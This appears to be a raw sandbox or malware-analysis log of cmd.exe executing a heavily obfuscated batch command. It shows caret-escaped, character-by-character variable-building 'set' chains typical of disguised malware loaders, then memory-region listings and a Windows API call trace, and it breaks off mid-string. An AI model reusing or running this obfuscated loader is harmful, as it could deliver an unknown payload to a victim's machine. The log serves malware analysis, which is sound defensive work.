^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=^" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1081 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1082 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1083 start_va = 0x130000 end_va = 0x133fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1084 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1085 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1086 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1087 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1088 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1089 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1090 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1091 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1092 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1093 start_va = 0x1e0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1094 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1095 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1096 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1097 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1098 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1099 start_va = 0x1c0000 end_va = 0x1c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1100 start_va = 0x1d0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1101 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1102 start_va = 0x3e0000 end_va = 0x567fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 1103 start_va = 0x570000 end_va = 0x6f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 1104 start_va = 0x700000 end_va = 0x1afffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 1105 start_va = 0x1b00000 end_va = 0x1b01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b00000" filename = "" Region: id = 1106 start_va = 0x1b10000 end_va = 0x1e52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b10000" filename = "" Region: id = 1107 start_va = 0x1e60000 end_va = 0x1e60fff entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 1108 start_va = 0x1e70000 end_va = 0x1e70fff entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 1109 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1110 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1111 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1112 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1113 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1114 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1115 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1116 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1117 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1118 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1119 start_va = 0x1e80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1124 start_va = 0x1f80000 end_va = 0x217ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 1125 start_va = 0x2180000 end_va = 0x244efff entry_point = 0x2180000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 89 os_tid = 0xb08 [0102.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fab0 | out: lpSystemTimeAsFileTime=0x12fab0*(dwLowDateTime=0xddf206a0, dwHighDateTime=0x1d475ba)) [0102.119] GetCurrentProcessId () returned 0xb04 [0102.119] GetCurrentThreadId () returned 0xb08 [0102.119] GetTickCount () returned 0x2228d [0102.119] QueryPerformanceCounter (in: lpPerformanceCount=0x12fab8 | out: lpPerformanceCount=0x12fab8*=1814459900000) returned 1 [0102.121] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0102.121] __set_app_type (_Type=0x1) [0102.122] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0102.122] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0102.123] GetCurrentThreadId () returned 0xb08 [0102.123] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb08) returned 0x3c [0102.123] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0102.123] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0102.123] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0102.124] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0102.125] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fa48 | out: phkResult=0x12fa48*=0x0) returned 0x2 [0102.125] VirtualQuery (in: lpAddress=0x12fa30, lpBuffer=0x12f9b0, dwLength=0x30 | out: lpBuffer=0x12f9b0*(BaseAddress=0x12f000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.125] VirtualQuery (in: lpAddress=0x30000, lpBuffer=0x12f9b0, dwLength=0x30 | out: lpBuffer=0x12f9b0*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.125] VirtualQuery (in: lpAddress=0x31000, lpBuffer=0x12f9b0, dwLength=0x30 | out: lpBuffer=0x12f9b0*(BaseAddress=0x31000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.125] VirtualQuery (in: lpAddress=0x34000, lpBuffer=0x12f9b0, dwLength=0x30 | out: lpBuffer=0x12f9b0*(BaseAddress=0x34000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.125] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x12f9b0, dwLength=0x30 | out: lpBuffer=0x12f9b0*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0102.125] GetConsoleOutputCP () returned 0x1b5 [0102.125] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0102.126] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0102.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.126] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0102.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.126] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 1 [0102.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.126] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0102.126] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.126] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0102.127] GetEnvironmentStringsW () returned 0x202770* [0102.127] FreeEnvironmentStringsW (penv=0x202770) returned 1 [0102.127] GetEnvironmentStringsW () returned 0x202770* [0102.127] FreeEnvironmentStringsW (penv=0x202770) returned 1 [0102.127] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12e908 | out: phkResult=0x12e908*=0x44) returned 0x0 [0102.127] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x0, lpData=0x12e920*=0x18, lpcbData=0x12e904*=0x1000) returned 0x2 [0102.127] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x4, lpData=0x12e920*=0x1, lpcbData=0x12e904*=0x4) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x0, lpData=0x12e920*=0x1, lpcbData=0x12e904*=0x1000) returned 0x2 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x4, lpData=0x12e920*=0x0, lpcbData=0x12e904*=0x4) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x4, lpData=0x12e920*=0x40, lpcbData=0x12e904*=0x4) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x4, lpData=0x12e920*=0x40, lpcbData=0x12e904*=0x4) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x0, lpData=0x12e920*=0x40, lpcbData=0x12e904*=0x1000) returned 0x2 [0102.128] RegCloseKey (hKey=0x44) returned 0x0 [0102.128] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12e908 | out: phkResult=0x12e908*=0x44) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x0, lpData=0x12e920*=0x40, lpcbData=0x12e904*=0x1000) returned 0x2 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x4, lpData=0x12e920*=0x1, lpcbData=0x12e904*=0x4) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x0, lpData=0x12e920*=0x1, lpcbData=0x12e904*=0x1000) returned 0x2 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x4, lpData=0x12e920*=0x0, lpcbData=0x12e904*=0x4) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x4, lpData=0x12e920*=0x9, lpcbData=0x12e904*=0x4) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x4, lpData=0x12e920*=0x9, lpcbData=0x12e904*=0x4) returned 0x0 [0102.128] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12e900, lpData=0x12e920, lpcbData=0x12e904*=0x1000 | out: lpType=0x12e900*=0x0, lpData=0x12e920*=0x9, lpcbData=0x12e904*=0x1000) returned 0x2 [0102.128] RegCloseKey (hKey=0x44) returned 0x0 [0102.128] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bce [0102.128] srand (_Seed=0x5be16bce) [0102.128] GetCommandLineW () returned="Cmd , ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ 